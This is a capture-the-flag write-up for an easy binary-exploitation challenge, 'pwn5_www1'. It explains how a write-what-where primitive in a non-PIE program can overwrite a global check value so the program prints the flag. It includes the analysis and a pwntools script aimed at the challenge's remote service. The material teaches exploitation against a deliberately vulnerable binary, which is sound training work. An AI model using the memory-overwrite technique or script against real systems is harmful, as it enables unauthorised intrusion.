pwn5_www1
pwn5_www1
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: global_variable_overwrite, scanf_format_awareness, write_what_where
Summary
Task: non-PIE x86-64 'mic check' pwn exposing a raw write-what-where primitive ((qword)addr = value, both attacker-controlled) where a secret global gates the /flag print. Solution: overwrite the fixed secret global at 0x40408c with 0x10203040, minding the scanf formats (%10d signed decimal for value, %8x hex for address).
pwn5_www1 — pwn_spbctf
Description
Пришло время для перезаписи.
(English: "Time for an overwrite.") A "Mic Check" tier-pwn5 challenge in the www
(write-what-where) category by Lex (@b1n4r9). We are given www1.elf and a remote
service. The goal is to read /flag on the server.
- Remote:
nc 109.233.56.90 11683 - Binary: NON-PIE (base
0x400000), NX, Partial RELRO, no stack canary, not stripped.
Analysis
The binary is a textbook write-what-where primitive guarded by a single global sentinel.
main @ 0x4010a0:
- A global
secretlives at0x40408c, initialized to0xdeadbeaf. - Calls
write_prim(). - Then
cmp DWORD [secret@0x40408c], 0x10203040:- If not equal →
printf("Go away, son!")andexit(0). - If equal →
fopen("/flag","r"),fscanf(fp, "%s", buf),printf("Flag: %s", buf)— prints the flag.
- If not equal →
write_prim @ 0x401290 (the primitive):
printf("Enter data: ")thenscanf("%10d", &value)— format string @0x402011is"%10d", i.e. signed decimal, only 4 bytes stored intovalue.printf("Enter address: ")thenscanf("%8x", &addr)— format string @0x402026is"%8x", i.e. hex.*(qword*)addr = value;(compiles tomov [rax], rdx) — an 8-byte write to an attacker-chosen address with an attacker-chosen value.
So both the destination and the data are fully attacker-controlled. The check only
inspects a DWORD at a known, fixed address (NON-PIE ⇒ 0x40408c is constant), so the
exploitation is trivial: overwrite secret with 0x10203040.
Two details to get right:
- scanf formats. The value is read with
%10d(signed decimal), not hex — so the required value0x10203040must be sent as its decimal form270544960. The address is read with%8x(hex) — so0x40408cis sent as the string40408c. - The qword spill is harmless. The write is 8 bytes, but
valueis only 4 bytes, so the high dword written into0x404090is0.mainonly doesfopen/fscanf/printfafterward and never touches0x404090, so this does not matter.
Solution
- Read the
Enter data:prompt and send the value as decimal:270544960(=0x10203040). - Read the
Enter address:prompt and send the target address as hex:40408c. - The primitive writes
0x10203040intosecret, themaincompare passes, and the service reads/flagand printsFlag: spbctf{...}.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST = '109.233.56.90' PORT = 11683 SECRET = 0x40408c # address of secret dword (fixed, NON-PIE) TARGET = 0x10203040 # required value (compared as dword) io = remote(HOST, PORT, timeout=20) # prompt: "Enter data: " -> scanf("%10d", &value) (signed decimal!) io.recvuntil(b'Enter data:') io.sendline(str(TARGET).encode()) # 270544960 # prompt: "Enter address: " -> scanf("%8x", &addr) (hex) io.recvuntil(b'Enter address:') io.sendline(b'%x' % SECRET) # 40408c data = io.recvall(timeout=10) print(data.decode(errors='replace')) # -> Flag: spbctf{REDACTED}